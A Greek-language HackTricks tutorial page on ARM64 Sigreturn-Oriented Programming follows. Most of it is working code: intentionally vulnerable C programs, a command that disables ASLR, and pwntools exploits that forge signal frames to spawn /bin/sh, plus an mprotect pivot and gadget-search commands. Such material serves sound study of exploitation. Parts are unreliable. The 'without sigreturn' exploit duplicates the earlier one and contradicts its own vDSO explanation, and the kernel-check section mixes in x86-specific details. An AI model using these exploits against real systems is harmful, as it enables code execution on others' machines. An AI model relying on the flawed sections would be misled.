> [!TIP]

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Παράδειγμα Pwntools

Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο διαβάζει στη στοίβα και στη συνέχεια καλεί sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof παράδειγμα

Κώδικας

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Συγκεντρώστε το με:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Εκμετάλλευση

Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του sigreturn και να προετοιμάσει τη στοίβα για να καλέσει το execve με έναν δείκτη προς το /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof παράδειγμα χωρίς sigreturn

Κώδικας

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Εκμετάλλευση

Στην ενότητα vdso είναι δυνατή η εύρεση μιας κλήσης προς sigreturn στην απόσταση 0x7b0:

Επομένως, αν διαρρεύσει, είναι δυνατόν να χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτηθεί πρόσβαση σε ένα sigreturn αν το δυαδικό δεν το φορτώνει:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Για περισσότερες πληροφορίες σχετικά με το vdso ελέγξτε:

Ret2vDSO

Και για να παρακάμψετε τη διεύθυνση του /bin/sh μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες:

ASLR


Αυτόματη εύρεση sigreturn gadgets (2023-2025)

Σε σύγχρονες διανομές, το sigreturn trampoline εξακολουθεί να εξάγεται από τη σελίδα vDSO, αλλά η ακριβής απόσταση μπορεί να διαφέρει μεταξύ των εκδόσεων του πυρήνα και των σημαιών κατασκευής όπως το BTI (+branch-protection) ή το PAC. Η αυτοματοποίηση της ανακάλυψής του αποτρέπει την σκληρή κωδικοποίηση αποστάσεων:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις AArch64 και θα παραθέσουν υποψήφιες ακολουθίες mov x8, 0x8b ; svc #0 που μπορούν να χρησιμοποιηθούν ως SROP gadget.

Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με BTI, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι bti c. Οι τραμπόλινες sigreturn που τοποθετούνται από τον σύνδεσμο περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα.

Σύνδεση SROP με ROP (pivot μέσω mprotect)

rt_sigreturn μας επιτρέπει να ελέγχουμε όλους τους γενικούς καταχωρητές και το pstate. Ένα κοινό μοτίβο σε x86 είναι: 1) χρησιμοποιήστε SROP για να καλέσετε mprotect, 2) pivot σε μια νέα εκτελέσιμη στοίβα που περιέχει shell-code. Η ακριβώς ίδια ιδέα λειτουργεί και σε ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Μετά την αποστολή του πλαισίου, μπορείτε να στείλετε μια δεύτερη φάση που περιέχει raw shell-code στο 0x400000+0x100. Επειδή το AArch64 χρησιμοποιεί PC-relative διευθυνσιοδότηση, αυτό είναι συχνά πιο βολικό από το να κατασκευάσετε μεγάλες αλυσίδες ROP.

Έλεγχος του πυρήνα, PAC & Shadow-Stacks

Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit 36f5a6c73096). Ο πυρήνας τώρα ελέγχει:

  • uc_flags πρέπει να περιέχει UC_FP_XSTATE όταν υπάρχει extra_context.
  • Η δεσμευμένη λέξη στη struct rt_sigframe πρέπει να είναι μηδέν.
  • Κάθε δείκτης στο αρχείο extra_context είναι ευθυγραμμισμένος και δείχνει μέσα στον χώρο διευθύνσεων του χρήστη.

pwntools>=4.10 κατασκευάζει αυτόματα συμμορφούμενα πλαίσια, αλλά αν τα κατασκευάσετε χειροκίνητα, βεβαιωθείτε ότι έχετε μηδενίσει το reserved και παραλείψτε το αρχείο SVE εκτός αν το χρειάζεστε πραγματικά—διαφορετικά, το rt_sigreturn θα παραδώσει SIGSEGV αντί να επιστρέψει.

Αρχίζοντας με το mainstream Android 14 και το Fedora 38, το userland είναι μεταγλωττισμένο με PAC (Pointer Authentication) και BTI ενεργοποιημένα από προεπιλογή (-mbranch-protection=standard). Το SROP από μόνο του δεν επηρεάζεται επειδή ο πυρήνας αντικαθιστά το PC απευθείας από το κατασκευασμένο πλαίσιο, παρακάμπτοντας το αυθεντικοποιημένο LR που αποθηκεύεται στη στοίβα. Ωστόσο, οποιαδήποτε επόμενη αλυσίδα ROP που εκτελεί έμμεσες κλάσεις πρέπει να πηδήξει σε εντολές που είναι ενεργοποιημένες για BTI ή σε διευθύνσεις PACed. Κρατήστε το αυτό στο μυαλό σας όταν επιλέγετε gadgets.

Οι Shadow-Call-Stacks που εισήχθησαν στο ARMv8.9 (και ήδη ενεργοποιημένες στο ChromeOS 1.27+) είναι μια μείωση σε επίπεδο μεταγλωττιστή και δεν παρεμβαίνουν στο SROP επειδή δεν εκτελούνται εντολές επιστροφής—η ροή ελέγχου μεταφέρεται από τον πυρήνα.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks